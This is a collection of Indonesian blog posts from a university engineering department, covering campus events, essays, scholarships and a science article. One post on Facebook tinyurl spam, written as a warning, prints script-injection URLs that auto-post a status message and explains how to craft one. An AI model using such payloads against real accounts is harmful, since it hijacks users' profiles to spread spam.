Gandjar Ultah

Wakadep DTM FTUI Dr Ir Gandjar Kiswanto, berulang tahun kemarin tgl 20 April 2011. HUT nya ini dirayakan dengan sangat meriah, sambil tiup lilin mecahin balon dan makan bersama di restoran

BUMBU DESA

di Margo City yang tentunya amat sangat lezat.

Mari kita doakan agar pak Gandjar, sukses dalam karier, selalu sehat (walau report MCU nya kemarin kurang meyakinkan) dan…

SEMAKIN LUCU…

Mari kita lihat videonya:

Kesan mahasiswa

Bagian ini nih….ok secara jujur saya sangat mengapresiasi cara mengajar Pak Raldi dalam menyampaikan materi, dalam memberikan tugas. Pak Raldi lepas banget waktu di kelas seakan-akan kelas merupakan panggungnya dan kita adalah fansnya. Dia bisa menghipnotis bola mata kita kemana dia bergerak kita ikuti. Mengkin hal ini beliau peroleh karena beliau sudah senior dan menjadi dosen sudah lama dan tentu saja karena factor x. Apa itu factor X? pasti semua teman-teman sudah tahu. Factor X nya adalah pengalaman manggung. Ga semua orang bisa relax santai lho diatas panggung. Apalagi dengan pengalaman disururh turun dari panggung Java Jazz itu pasti pengalaman berharga dan tidak akan diulangi untuk kesempatanu manggung berikutnya. Ya benar benar kelas ini metode pengajarannya sangat luar biasa..inilah kelas yang saya impikan waktu saya masih duduk di SMP. Saya menginginkan kelas yang dikelas tidak hanya mencekoki kita meteri tanpa ada action garing banget. Eh ternyata ketemu juga dosen yang gokil berani OUT OF THE BOX ini nih dosen yang harus diperhatiin UI serta Ui harus mencari bakat bakat dosen “gila” seperti ini. Supaya mahasiswanya ga hanya tahu isi buku ini, isi buku itu tapi juga bisa mendapat pengalaman belajar yang aktif, produktif penuh dengan action. Pengalaman pertama yang kocak waktu kelas etijing ini adalah materinya bebas banget sesuai ama keadaan sekarang UP TO DATE jadi kita anak muda enak menyikapinya. Tidak seperti kelas sebelah yang hanya diam saja terpaku pada buku. Di tambah lagi tugas visitnya yang mantep jadi benar-benar melebur dengan kaum marjinal. Apalagi proyek UAS tentag proyek nyata dalam yang bisa diimplementasikan dan menambah nilai fungi buat masyarakat sekita ide genius dan brilliant tuh. Memang tujuan pak Raldi adalah sesuai dengan nama mata kuliahnya yaitu etika engineering yang pasti anak teknik biasanya suka yang riil ga suka yang di cekokin kata-kata. Etika engineering merupakan dua kata yang cocok buat anak teknik untuk mencoba berbuat riil dalam masyarakat. Pokoknya ga salah lah teman saya merekomendasikan mata kuliah ini dengan dosen Pak Raldi.

Pengalaman yang tak terlupakan buat saya waktu di kelas adalah dosen gokil yang memamerkan group bandnya THE PROFESSOR waktu ngeband sama THE CHANGCUTERS dengan judul lagu I Love You Bibeh. Ditambah lagi dengan Live performance dikelas he he he.

Ada beberapa kata-kata yang saya petik dari kelas ini adalah :

“dahulukan kehendak orang tua, niscaya keinginan kita akan tercapai”

“Orang yang mempelajari
bisnis tidak akan menjadi pebisnis, Tetapi orang yang mencoba bisnis akan menjadi pebisnis”

 

“Bisnis itu Permaianan, bukan ilmu pengetahuan”

 

    Itu merupakan kata-kata yang saya tangkap dari slide maupun perkataan Pak Raldii yang telah menginspirasi saya. Terima kasih Pak atas waktunya dan pengalaman yang paling berharga. He he he

 

O ya ada tugas yang belum bisa ke jawab nih dari Pak Raldi :

 

“tulisan apa yang ada di jembatan perbatasan itu?(saya lupa negaranya)”

 

Ok saya akan jawab sebentar lagi pak AS SOON AS POSSIBLE

 

(Muhammad Iqbal Rois).-

SEBUAH GELISAH TENTANG TEKNOLOGI

SEBUAH GELISAH TENTANG TEKNOLOGI

 Oleh : Adriano Rusfi

Malam ini saya tidak bisa tidur. Ini pasti gara-gara telah lebih dua minggu tak habis pikir : bahwa bangsa ini, sekadar punya kuda-kuda untuk mengambil alih teknologipun tak mampu. Ya, sekadar kuda-kuda. Tapi itu begitu penting. Saya ingat film The American Shaolin, bahwa ilmu pertama yang diajarkan di Biara Silat itu adalah kuda-kuda. Dan itu tiga tahun lamanya, hanya untuk kuda-kuda !!!

Tak habis pikir… lalu tak bisa tidur… Karena akhirnya saya berujung gelisah di tengah malam : bolehkah saya menggugat dan menghujat ? Bukankah saya hanya seorang psikolog yang tak berhak menjadi juri atas kompetensi atau impotensinya para teknolog kita ? Mungkin yang harus saya kutuk adalah keputusan saya untuk menerima tawaran survey tentang SDM IPTEK di dunia industri kita. Lalu survey “celaka” itu menghasut saya untuk menancapkan sebuah kesimpulan brutal : SDM IPTEK industri itu hampir-hampir tak ada !!!

Bah… nekad, menafikan segala ikhtiar puluhan tahun dari ribuan karyawan Research and Development (R&D) yang telah menguras rupiah dan pengorbanan yang tak sedikit. Baiklah… tapi, apa yang telah dihasilkan ? Saya hanya melihat para pekerja kreatif dan tukang-tukang berpengalaman yang berhasil merubah gelas berbibir bulat menjadi segi tiga. Apakah itu yang disebut sebagai SDM IPTEK ? Bukankah SDM IPTEK itu seharusnya adalah saintis dan teknolog yang menggunakan seluruh ikhtiar ontologis, epistemologis dan aksiologis untuk menggambarkan, menjelaskan, meramalkan, mengendalikan dan merekayasa gejala-gejala ilmiah ? Atau, mungkin saya yang tak mengikuti perkembangan, bahwa belakangan antara teknolog dan teknisi sebenarnya adalah barang yang sama. Bahwa antara implementator dan operator bukan lagi hal penting untuk dipilah. Entahlah…

Sebenarnya saya telah berusaha untuk salut dan berjuang untuk bangga. Lihatlah, nun di sana telah ada “SDM IPTEK” kita yang mampu merubah knalpot sepeda motor tetap bekerja baik di dalam genangan banjir. Di sudut yang lain saya mendecakkan kagum kepada sekelompok doktor yang telah menerbangkan besi ke langit. Namun entah kenapa, saya tiba-tiba saja kehilangan selera setelah tahu bahwa sang modifikator knalpot canggih itu ternyata bahkan tak mampu menciptakan sebatang knalpot paling generik sekalipun, sepenuhnya dari nol. Dan apa yang harus saya gumamkan kalau ternyata para doktor perakit pesawat itu ternyata tak kuasa membuat transportasi yang lebih primitif dari itu : mobil. Beribu maaf… perakit, ternyata bukan pencipta.

Mungkin malam ini saya tak bisa tidur, ulah mimpi sendiri yang saya buat terlampau fatal. Betul, saya terlanjur bermimpi bahwa seorang pakar adalah seorang yang tiba-tiba saja menyicip segelas ramuan asing, lalu serta-merta menari kegirangan sambil setengah menjerit, “A-ha ! Saya tahu kandungannya dan saya bisa membuat resepnya !”. Ya, dia Sang Koki Agung ! Dia membuat resep… Dia bukan pengemis yang meminta agar koki asing membocorkan rahasia ramuannya. Dia bukan pencuri formula yang mengendap di tengah malam menyelundupkan sebuah paten yang telah dikreasikan oleh orang lain dengan susah-payah. Dan dia pasti bukan tukang sampah yang menerima formula kadaluarsa atas nama belas kasih “alih teknologi”.

Mungkin tak ada yang dapat saya salahkan jika malam ini saya kehilangan selera kantuk. Toh saya hanya ditipu oleh mata dan sangka saya sendiri. Saya kira, jika seorang pemain basket telah begitu mahirnya menyarangkan Slam Dunk ke keranjang lawan, berarti dia adalah pemain basket tingkat atas. Saya hanya terlalu naïf untuk paham bahwa, di negeri ini, ada orang-orang yang telah berlatih Slam Dunk sebelum benar-benar menguasai dasar-dasar bermain basket. Permainan mereka begitu menawan dan akrobatis, namun sekaligus begitu menjengkelkan. Ya… menjengkelkan ! Karena mereka hampir selalu urung mewujudkan target sebuah pertandingan : Kemenangan !!! Sobat teknolog yang budiman, target pertandingan itu kemenangan, bukan Slam Dunk. Apa artinya inovasi, jika bahkan melakukan duplikasi sempurnapun kita belum bisa ???

Telah jam satu malam… Dan mata saya nanar menerawang ke masa silam. Ke kisah seorang teman yang kuliah di Teknik Mesin dan mengambil Tugas Akhir di bidang Mesin Pendingin. Ia lalu bekerja selepas lulus, membawa selembar ijazah dan idealisme : ia ingin alih teknologi. Dan iapun bekerja di sebuah perusahaan AC. Suatu malam nasionalismenya telah menggerakkan tangannya untuk mengambil tindakan heroik. Ia curi sebuah prototip AC dan menyelusupkannya pulang. Tiga tahun ia berburu misteri dan rahasia di lorong-lorong AC itu. Dan pada akhirnya ia menelpon saya, “Aku gagal”. Entahlah, ia telah belajar apa saja selama kuliah. Mungkin belajar mesin, tapi bukan filsafat mesin . Mungkin tentang pendingin, tapi bukan hakekat dingin. Mungkin tentang AC, tapi bukan formulanya. Ah… entahlah…

Seharusnya teman saya berganti nama saja dengan Samsung, industrialis Korea, mungkin guratan tangannya akan berbeda. Tadi siang saya baru saja bertandang ke sebuah lapaknya pada ajang Bazaar Bezar Bezaran di Jakarta Convention Center. Samsung buat dan jual apa saja, dengan cara yang paling memikat : ya mutunya… ya desainnya… ya teknologinya… ya harganya… Ia kompeten di televisi, komputer, printer, kamera, ponsel, tablet PC, dan masih banyak. Hampir saya membeli sebuah netbook keluarannya. Desainnya futuristik, spesifikasinya bersaing dan baterenya tahan 14 jam.

Tapi tidak. Samsung bukan bisa mencipta segalanya. Samsung hanya menguasai elektronika : hanya itu !!! Para koki R & D nya tidak belajar ponsel, atau komputer, atau kamera, atau televisi. Tidak ! Mereka hanya belajar elektronika. Mereka cukup tahu diri dan rendah hati, bahwa mereka harus memulai segalanya dari duplikasi, bukan inovasi. Mereka sadar, jika mereka telah menyadari esensi cukup sekali, maka selanjutnya mereka akan menghasilkan seribu satu turunannya dengan begitu mudah. Dan kuncinya hanya satu, berpikir sederhana : Principle of Parsimony !!! Bukankah ciri seorang pakar sejati adalah seorang yang pemikirannya mudah dimengerti awam ?

Mungkin itu yang dimaksudkan dengan sebuah Center of Excellence. R & D bukanlah sebuah pabrik, dan SDM-nya seharusnya bukan para juru masak. Dia adalah sebuah pusat, dan harus berpikir terpusat, bukan macam-ragam. Center of Excellence seharusnya adalah penghasil brainware, bukan software, apalagi hardware. Software dan hardware adalah ulah kelakuan para pabrikan, bukan ulah perbuatan SDM IPTEK yang berhimpun di R & D. SDM IPTEK Samsung adalah koki pencipta resep dan formula, sedangkan pabrikannya adalah juru masak yang melahirkan produk dan benda. Karena Center of Excellence bukanlah Center of Competence.

Sudahlah… terlalu malam hati ini untuk dibakar cemburu kepada Samsung. Toh wajar, mereka memang lebih dekat dengan biara Shaolin. Mereka mungkin telah belajar sabar untuk menguatkan kuda-kuda tiga tahun lamanya. Mereka, dan hampir seluruh peradaban Asia Timur, adalah orang-orang yang sabar dan pekerja keras. Maka, Jepang lebih memilih Kaizen yang merayap namun pasti (continuous improvement), ketimbang konsep Innovation yang melompat dan meletup. Ya… nun di pertengahan abad ke 19 mereka memilih restorasi (renovasi) bukan inovasi. Sudahlah… toh kita tak sama dengan mereka : mereka sabar, dan kita pengambil jalan pintas.

Tampaknya India pun memilih belajar ke para tetangganya di Timur itu untuk maju menapak. Sebuah dialog dalam film The Three Idiots secara tajam menyiratkan itu : Sebuah kisah tentang Sang Rektor berpendidikan Barat yang dengan bangganya menceritakan tentang inovasi berbiaya 150 Juta Dollar Amerika oleh NASA, agar sebuah pena mampu memuncratkan tintanya di ruang hampa udara antariksa. Namun, Sang “Idiot” India bernama Rancho menampiknya dengan logika sederhana,

“Jika tinta tak memancar di luar angkasa, kenapa tak digunakan pinsil saja ???”.

Ya, yang sering kita lupa, bahwa duplikasipun adalah sebuah langkah awal yang paling cerdas. Dan yang dibutuhkan hanya ini : Sebuah kejeniusan yang idiot !!!

India telah mempersonifikasikan dirinya ke dalam sosok Rancho, yang menertawakan sekian banyak kerumitan, textbooks dan rumus-rumus tanpa hati, lalu menawarkan kesederhanaan.

Menggelisahkan… sementara kita sebagai bangsa justru telah kehilangan daya abstraksi, daya ekstraksi, kemampuan meracik-ramu, atau kecakapan susun-tata, yang merupakan modal dasar untuk menjadi peneliti dan perekayasa. Kita kehilangan imajinasi sejak dini, ketika dongeng telah digusur oleh baca-tulis-hitung di usia TK, padahal itu syarat abstraksi dan formulasi. Kita kehilangan kemampuan mapping, ketika kertas gambar putih telah digantikan begitu cepatnya dengan kertas bergaris, padahal itu modal konstruksi. Kita kehilangan kreativitas, persis saat hak belia kita untuk melakukan deformasi dan “merusak”, digantikan secara kejam oleh format-format kurikulum pembelajaran pra-sekolah yang “santun dan membangun”. Padahal, untuk membangun bumi ini Tuhan sengaja mengutus makhluk perusak : Kita, manusia !!!

Jakarta, Dinihari 10 Maret 2011

Adriano Rusfi

Peneliti SDM

Tetangga Sebelah Kamar

Tetangga Sebelah Kamar Prof Bangsur.-

(Prof Dr Ir Bambang Suryawan MT)

Karena sudah diberi peringatan untuk kesekian kalinya oleh Ardi, bersegeralah saya untuk menulis seada-adanya agar buku kenangan yang ditujukan untuk mengenang persahabatan yang tiada akhir ini berisikan juga coret-coretan saya. Bukankah yang penting partisipasi dan kebersamaan (demikianlah kata orang…).

Prof BS yg rambutnya sedikit...

 

 

 

 

 

 

 

 

Walau saya punya dua tetangga, tetapi yang satu sunyi banget alias gak pernah ngantor di ruangannya, sedangkan yang lain inilah mas Bangsur (mohon maaf gelarnya tidak saya tulis lagi karena panjang banget dan kita2 toh sudah tahu), malah kebalikannya, orang yang paling sering saya gangguin dengan kegiatan saya yang bermacam-macam, terutama beberapa tahun terakhir ini, yang orang bilang ‘sok jadi pengusaha’. Karena rapat yang sering saya adakan tanpa rencana, bikin gaduh ruangan, apalagi yang diomongin kadang tentang ‘duit gede’ padahal untungnya tak kunjung datang, malah kebanyakan babak belur. Berkaitan dengan itu, sekarang ini, daripada –enggak- sama sekali, sekaligus baru lewat lebaran beberapa hari:

“Saya mohon maaf sebesar-besarnya atas gangguan saya pada mas Bambang… bahkan sekalian maaf lahir batin…”.

Yang jelas rapat-rapat gelap saya itu amat sangat sering mengganggu TIDUR SIANG mas Bambang…

Hal lain yang mempererat tali silaturahmi saya dengan mas Bambang ini adalah… SAMA-SAMA INGIN BERDIET.

Dan kelihatannya kami berdua sama-sama SUKSES dan berhasil. Karena walaupun kami berdua sama-sama diet tapi tujuan saya adalah memperkecil lingkar perut, sedangkan tujuan mas Bambang adalah memperbesar lingkar pinggang. Untuk itu kepada beliau kita ucapkan selamat dan sukses, semoga selalu sehat walafiat.

Ah… tak terasa lho hidup ini kata orang ‘tahu-tahu’. Tahu-tahu rambut sudah menipis, tahu-tahu rambut sudah memutih, tahu-tahu sudah selesai masa bakti. Tak terasa, sudah lewat puluhan tahun jadi pegawai negeri. Alhamdulillah semua terlampaui dengan selamat…  Dan… kita akan berhenti JADI TETANGGA… Huk huk huk… Sa’diah.

-Yang pasti: Kita tidak akan pernah berhenti menjadi SAHABAT… seperti kepompong yang akan menjadi kupu-kupu-.

(Ral 15Sep10).-

Peer Review

Proses untuk menjadi Guru Besar tidaklah mudah. Setelah melalui jabatan Lektor Kepala, dosen harus mengumpulkan sejumlah angka kredit (kum) tertentu baik untuk bidang penelitian maupun pengajaran. Di DTM Dep Teknik Mesin proses ini sudah berjalan relatif lancar dimana angka kredit yg diajukan diseleksi dulu oleh Peer secara internal. Kemudian akan dikirim juga ke external reviewer dari Universitas lain.
Kali ini Peer untuk kandidat GB

M Idrus Alhamid

sedang bekerja. Lihat mereka dengan serius membahas paper2 yg diajukan. Diantaranya adalah Prof Nandy Putra,Prof Yulianto, Dr Gandjar dan prof Raldi.

Bahaya tinyurl di FB

Oleh: Mamakey (programmer Linux)
Barusan saya melihat status orang yang hampir sama. Awalnya saya kira ini memanfaatkan aplikasi facebook. Setelah dikopi paste dengan wget diterminal. Beginilah hasilnya :
http://tinyurl.com/sampahh berubah menjadi :

http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt=’%3Cscript%3Ewindow.onload=function()document.forms%5B0%5D.message.value=’jangan%20salahin%20w%20kalo%20lo%20bakal%20ngakak%20ngeliat%20ni%20orang%20:D%20http://tinyurl.com/sampahh’;document.forms%5B0%5D.submit();%3C/script%3E

Huh …tinyurl-nya berfungsi untuk menyembunyikan javascriptnya
kalau kita decode jadilah seperti ini

http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt=’window.onload=function(){document.forms[0].message.value=’jangan salahin w kalo lo bakal ngakak ngeliat ni orang http://tinyurl.com/sampahh’;document.forms[0].submit();}

Dasar orang isenk Bukan virus, tapi ya mengubah satus kita sesuai denan message value di atas.

Update : ini juga

http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt=’window.onload=function(){document.forms[0].message.value=’ini fotoku wkt lg ML http://tinyurl.com/rahasiapribadiku’;document.forms[0].submit();}

untuk membuat ini cukup mudah
cukup kopi link diatas kemudian ganti bagian message.value.
contoh :
ini testing dari mamakey http://tinyurl.com/mamakey
maka tertulis :

http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt=’window.onload%3Dfunction(){document.forms[0].message.value%3D’ini testing dari mamakey %3AD http%3A%2F%2Ftinyurl.com%2Fmamakey’%3Bdocument.forms[0].submit()%3B}’
Silahkan saja klik link diatas dan hapus pada wall anda

update lagi :

sekarang mereka tidak memakai tinyURL tapi memakai IFRAME untuk melakukan scripting.. huh jahat. Ketemu scriptnya disini :

http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt=%27%3Cscript%3Ewindow.onload=function%28%29%7Bdocument.forms%5B0%5D.message.value=%27Masihadaorangygmauterkenaldankayarayadenganmemujasetan,termasuksalahsatugrupbandterkenaldiIndonesiackckckck….bacaselengkapnyadihttp://tinyurl.com/4fqudco%21%21%21%27;document.forms%5B0%5D.submit%28%29;%7D%3C/script%3E
terima kasih Fuad for pointing me

Beasiswa Amerika Eropa

Scholarships – United States

Mathematics, Science and Engineering Transfer Scholarships (M-SETS)
Cañada College, USA
Scholarship / Financial aid: 140 scholarship awards offered
Date: up to three years
Deadline: April 15, 2011
Open to: citizens or nationals of the United States
Website:
http://www.eastchance.com/news.asp?q=1781,us,sch&issue=20110327&utm_source=eastc
hanceMailingGroups&utm_medium=email&utm_campaign=20110327

Scholarships – European Union

The Einstein Fellowship
Caputh, Brandenburg, Germany
Scholarship / Financial aid: accommodation, a stipend of EUR 10,000 and
reimbursement of travel expenses offered
Date: five to six months
Deadline: May 20, 2011
Open to: applicants under 35 which hold a university degree in the humanities,
in the social or natural sciences
Website:
http://www.eastchance.com/news.asp?q=748,eu,sch&issue=20110327&utm_source=eastch
anceMailingGroups&utm_medium=email&utm_campaign=20110327

Project Research Interns
National University of Ireland, Galway
Scholarship / Financial aid: undefined
Date: 3 months
Deadline: April 30, 2011
Open to: see Essential Skills please
Website:
http://www.eastchance.com/news.asp?q=749,eu,sch&issue=20110327&utm_source=eastch
anceMailingGroups&utm_medium=email&utm_campaign=20110327

Master in Advanced European and International Studies – M.A.E.I.S.
France / Turkey
Scholarship / Financial aid: a limited number of fellowships can be awarded
Date: 2011 / 2012
Deadline: 30 June 2011
Open to: students who have completed their undergraduate studies
Website:
http://www.eastchance.com/news.asp?q=750,eu,sch&issue=20110327&utm_source=eastch
anceMailingGroups&utm_medium=email&utm_campaign=20110327

Visiting Fellowships for Social Scientists
University of Mannheim, Germany
Scholarship / Financial aid: two fellowships offered
Date: up to one year
Deadline: April 30, 2011
Open to: social scientists (sociologists or political scientists) with a Ph.D.
(or equivalent)
Website:
http://www.eastchance.com/news.asp?q=751,eu,sch&issue=20110327&utm_source=eastch
anceMailingGroups&utm_medium=email&utm_campaign=20110327

Scholarships – CEE States

2011 Dr. Erhard Busek – SEEMO Award for Better Understanding in South, Eastern
and Central Europe
South-Eastern Europe
Scholarship / Financial aid: award of 3,000.00 EUR
Date: N/A
Deadline: 25 May 2011
Open to: journalists, editors, media executives, media experts, writers in South
Eastern Europ
Website:
http://www.eastchance.com/news.asp?q=21,cee,sch&issue=20110327&utm_source=eastch
anceMailingGroups&utm_medium=email&utm_campaign=20110327

Summer courses – European Union

The 6th Summer School in Anthropology, Ethnography and Comparative Folklore of
the Balkans
Konitsa, Greece
Scholarship / Financial aid: accommodation, meals and travel expenses are
covered
Date: 27 July – 11 August 2011
Deadline: May 15th 2011
Open to: senior year undergraduate, MA and doctoral students from any Balkan,
European or other country
Website:
http://www.eastchance.com/news.asp?q=338,eu,sco&issue=20110327&utm_source=eastch
anceMailingGroups&utm_medium=email&utm_campaign=20110327

The Reasoning Web Summer School 2011
Galway, Ireland
Scholarship / Financial aid: none
Date: August 23-27, 2011
Deadline: 30 April 2011
Open to: international applicants
Website:
http://www.eastchance.com/news.asp?q=339,eu,sco&issue=20110327&utm_source=eastch
anceMailingGroups&utm_medium=email&utm_campaign=20110327

Transparency International Summer School on Integrity
Vilnius, Lithuania
Scholarship / Financial aid: a limited number of competitive scholarships are
available
Date: 11 – 15 July 2011
Deadline: 15 May 2011
Open to: international students
Website:
http://www.eastchance.com/news.asp?q=340,eu,sco&issue=20110327&utm_source=eastch
anceMailingGroups&utm_medium=email&utm_campaign=20110327

Black Sea Summer University
Constanta, Romania
Scholarship / Financial aid: undefined
Date: July 22th to 28th, 2011
Deadline: N/A
Open to: graduate students, students in their second and third year of
university studies and young professionals
Website:
http://www.eastchance.com/news.asp?q=341,eu,sco&issue=20110327&utm_source=eastch
anceMailingGroups&utm_medium=email&utm_campaign=20110327

Gowes Santai Alumni

Sepeda santai jalur ASYIK yang pendek atau hanya satu jam selagi melalui danau sempat foto2 dan ada juga yg ngambil video. Jalur B gowes melalui pertama stadion UI dari belakang, lalu menyusur politeknik, FMIPA menuju Rotunda gedung Rektorat atau PAU untuk berfoto dengan background gedung rektorat taklupa foto gaya umroh di depan pohon Baobab. Lalu kearah luar Fak Keperawatan masuk ke pinggir danau Kenanga rombongan santai berhenti untuk foto dengan latar perpustakaan UI. Naik sepeda dilanjutkan melalaui ringroad ke depan psikologi depan Fisip masuk jalan PSJ nerabas kedalam menuju jembatan Teksas. Rombongan berhenti lagi utk foto2 di jembatan dan kembali ke FTUI melalui belakang FEUI.


Aktivitas alumni ftui ini dihadiri k.l. 400 orang dengan keluarga, anak dan cucu. Acara awal adalah senam yang diikuti oleh peserta dengan penuh semangat.
Banyak juga peminatnya ceramah Reiki oleh master reiki Indonesia Wahidin Wahab.

Teknik Mesin MCU

Secara rutin setahun sekali DTM Dep Teknik MEsin menyelenggarakan Medical Check-Up untuk setiap dosen dan karyawannya. Bekerjasama dengn Lab Prodia, kali ini pemeriksaan KEsehatan diadakan pada tgl 17 dan 18 Maret 2011.

Image video memperlihatkan para dosen dan karyawan sedang diperiksa darah, urine, mata, fisik, dll.

http://www.youtube.com/watch?v=ys6FoUP5pSg

Semoga sehat semua !!

https://koestoer.wordpress.com/

Rancangan Acara 27Maret2011

RANCANGAN ACARA NGGOWES, JALAN SANTAI, SENAM BUGAR, & SEMINAR

FT Kampus UI – Minggu, 27 Maret 2011 pukul 06.00 – 12.00

P U K U L URAIAN AKTIFITAS KETERANGAN
05.30 Segenap Anggota Panitia sudah kumpul di Dekanat dan siap menempati Pos Penugasan masing-masing tris bM
  • PARKIR di sepanjang Jl. Rosseno depan Gd. Engineering Center
  • SAWERAN & AMBIL KAOS & BEKAL di Area Parkir Gedung GK
  • AREA PERSIAPAN & START/FINISH di halaman Gedung DEKANAT
  • POOL & TEST SEPEDA di Area Parkir Elektro, masuk dari Pos Satpam
SATPAM 

Ani, Ida, & Tim

tris bM

Sahala & Teknisi UI

06.00 – 06.45
  • Setor Saweran, Ambil kaos, Pinjam & Test Sepeda
  • Persiapan di tempat Start
Pokja
06.45 – 07.15 SENAM PEMANASAN Yaya & Tim
07.15 – 09.15 NGGOWES A (Lintasan UNIK): per kelompok @ 25 Ardhin, Sahala, & Gowess Binsek’s 500
  • Persiapan di Area Parkir Depan Tengah Dekanat
    • START, depan Dekanat – Engineering Center – Jemb. TekSas (foto bareng) – Pusat Studi Jepang – Perpus. UI – Science Center – Menyusur Danau (foto bareng) – Tracking jalur sepeda menuju Asrama UI – Lintas Hutan Lindung – masuk jalan lingkar kampus menuju stadion – per3an TI belok kiri mengelilingi stadion – depan Poltek – nanjak belok kanan melewati Pool Bikun – berhenti di seberang Auditorium (foto bareng) – ke Rektorat lihat sejarah UI & pohon baobab – Tracking jalur sepeda – melintas masjid belok kiri – Perpus – Jalan FISIP-FIB – FE – FINISH di Dekanat.
07.45 – 08.45 JALAN SANTAI dengan lintasan: Anton & tris bM.
  • Persiapan di Area Parkir Dekanat depan kiri.
    • START, depan Dekanat – Engineering Center – Jemb. TekSas (foto bareng) – FIB – Perpus. UI – Science Centre –  nyusur danau (foto bareng) – lihat pohon Baobab – depan Rektorat lihat sejarah UI – ke Auditorium (foto bareng) – lewat parkiran Rektorat – Perpus UI – FISIP – FE – FINISH Dekanat.
08.00 – 09.00 NGGOWES B (Lintasan ASYIK): Raldi A.K & Gowess Binsek’s 500
  • Persiapan di Area Parkir Elektro
    • START, depan Dekanat – belok kiri menuju stadion – per3an TI belok kiri mengelilingi stadion – poltek – FMIPA – FKM – BNI – Auditorium (foto bareng) – ke depan Rektoral lihat sejarah & pohon Baobab – tracking mengelilingi balairung – menyusur danau (foto bareng) – Science park – Fasilkom –  Pusat Studi Jepang FIB – Jemb Teksas (foto bareng) – Engineering Center  – FINISH depan Dekanat.
07.00 – 10.00 DONOR DARAH di K-101
08.00 – 12.00 Dialog Interaktif PARENTING & KID’S Outbond, di Lobi K & K-301 Ikatan Alumni Elektro & IME 

Dian – 08161338093, Desi – 081511110865

  • Tajuk: “Menjadi Orang Tua Kreatif dalam Sempitnya Waktu Berinteraksi dengan Anak-Anak“, bersama Melly Kiong
  • Kid’s outbound: Lomba Menggambar Anak2, Story Telling, T-shirt painting, Tur keliling laboratorium.
08.30 – 10.00 SENAM KEBUGARAN & AEROBIK di Halaman Dekanat Yaya
09.00 – 10.00 SENAM RIKI bersama Wahidin Wahab (L’72) – K-108 Wahidin Wahab
10.00 – 12.00 RAMAH TAMAH – DOOR PRIZE – HIBURAN 

Sambil bersenandung bersama Sin’10 Band & The Prof’s FTUI

Albert Koto 

Ananta

12.00 PENUTUP – Sholat ber jama’ah di Mustek Ardhin Ichwan

Kronologi Alam Semesta

-0-

Kronologi Alam Semesta Dari Kacamata Sains

Oleh: Terry Mart

Belum dipublikasi di media cetak.

-000-

Tadi saya mereview penelitiannya Terry Mart staf pengajar FMIPA UI tentang – Eksplorasi Interaksi Elektromagnetik, Nuklir Lemah,dan Nuklir Kuat pada Partikel, Nukleus, dan Materi – Tentu saja dari sisi sains saya kurang faham sehingga saya hanya melihat posisi administratif yang diklaim oleh peneliti, terpenuhi atau tidak. Sedangkan reviewer lain pak Handoko dari Fisika LIPI inilah yang mengkritisi dari segi sains karena beliau memang peer-nya.

T. Mart sudah sangat dikenal di UI karena demikian banyak paper internasionalnya sehingga boleh dibilang hasil kerja dibidang fisika partikel dari Terry Mart ini cukup bisa meningkatkan peringkat UI sebagai salah satu Universitas terkemuka di dunia. Pulang dari DRPM saya iseng search di Google tentang peneliti ini, dan ternyata ada papernya yang mudah difahami oleh orang awam dan buat saya malah sangat menarik. Mari kita simak bersama. Sekaligus saya minta ijin pada penulis untuk mempublikasikannya di blog saya.-

-0-

Penemuan radiasi latar belakang kosmik dalam bentuk gelombang mikro (Cosmic Microwave Background atau CMB) merupakan salah satu penemuan terpenting abad ini. Betapa tidak, penemuan ini telah mengubah pandangan modern manusia tentang alam semesta yang dihuninya. Meski fenomena pengembangan alam semesta telah lebih dulu diungkap oleh Edwin Hubble pada tahun 1929, penemuan CMB memperkuat dukungan pada teori Big Bang, suatu teori penciptaan alam semesta melalui ledakan maha dahsyat dari titik berukuran nol dengan kerapatan serta suhu tak berhingga tingginya. Ledakan ini telah menciptakan suatu kesetimbangan termal benda hitam (black body) di masa lampau yang fosilnya ternyata masih dapat teramati saat ini.

Benda hitam merupakan suatu idealisasi sistem tertutup yang memiliki kesetimbangan termal dengan distribusi intensitas radiasi berbentuk unik dan universal serta hanya bergantung pada temperatur sistem. Benda hitam sempurna tidak pernah eksis di permukaan bumi, namun karena diperkirakan hanya ada satu alam semesta (paling tidak yang berhasil diamati), maka alam semesta yang kita huni ini logis dianggap sebagai benda hitam sempurna. Adalah Arno Penzias dan Robert Wilson yang telah berjasa menemukan CMB pertamakali pada tahun 1964 dalam bentuk derau (noise) radio yang pada saat itu sangat membingungkan mereka. Kedua ilmuwan tersebut bekerja di laboratorium Bell di New Jersey dengan sebuah teleskop radio ultrasensitif (dipandang saat itu) yang dirancang untuk menerima sinyal dari satelit. Teleskop tersebut menangkap derau yang berasal jauh dari luar angkasa dan, yang paling membingungkan kedua ilmuwan, sinyal tersebut tidak bergantung pada arah fokus teleskop serta tidak bergantung pada waktu pengamatan.

Pengukuran yang mereka lakukan mengantar pada kesimpulan bahwa derau tersebut adalah radiasi gelombang mikro dengan panjang gelombang 7 centimeter yang sebenarnya (saat ini) dapat ditangkap oleh televisi biasa jika ditala pada kanal kosong. Untuk penemuan yang sangat menghebohkan ini Penzias dan Wilson dianugrahi hadiah Nobel pada tahun 1978. Dari sifat isotropiknya wajar jika diyakini bahwa radiasi CMB berasal dari tempat yang sangat jauh di jagad raya. Namun bagaimana para ilmuwan dapat yakin bahwa radiasi ini merupakan fosil dari ledakan maha dahsyat di masa lampau saat alam semesta tercipta? Lebih dari duapuluh tahun sebelum penemuan CMB, George Gamow, seorang profesor fisika pada George Washington University di Washington D.C., bersama dengan mahasiswanya mengusulkan teori penciptaan alam semesta melalui ledakan yang sangat dahsyat yang mereka sebut sebagai teori Big Bang. Dua orang mahasiswanya, Ralph Alpher dan Robert Herman, pada tahun 1949 kemudian memperkirakan bahwa temperatur rata-rata alam semesta saat ini sebagai konsekuensi dari ledakan besar di masa lalu serta berkembangnya alam semesta pada kisaran 5 derajat Kelvin (minus 268 derajat Celsius).

